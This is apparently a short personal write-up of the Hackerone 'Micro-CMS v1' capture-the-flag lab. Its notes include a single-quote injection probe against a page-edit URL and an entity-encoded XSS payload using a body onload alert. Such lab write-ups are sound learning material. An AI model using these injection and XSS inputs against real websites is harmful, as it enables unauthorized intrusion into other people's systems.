September 10, 2019 · CTF

Hackerone - Micro-CMS v1

Flag 0

found, forget src

Flag 1

this one doesnt make sense,wtf

just add a quote @ the end

 http://34.74.105.127/f2bbc83d74/page/edit/1 <= http://34.74.105.127/f2bbc83d74/page/edit/1'

Flag 2

found, forget src

Flag 3

use body tag

&#x3C;/body&#x3E;&#x3C;BODY onload=alert(&#x22;XSS&#x22;)&#x3E;&#x3C;/p&#x3E;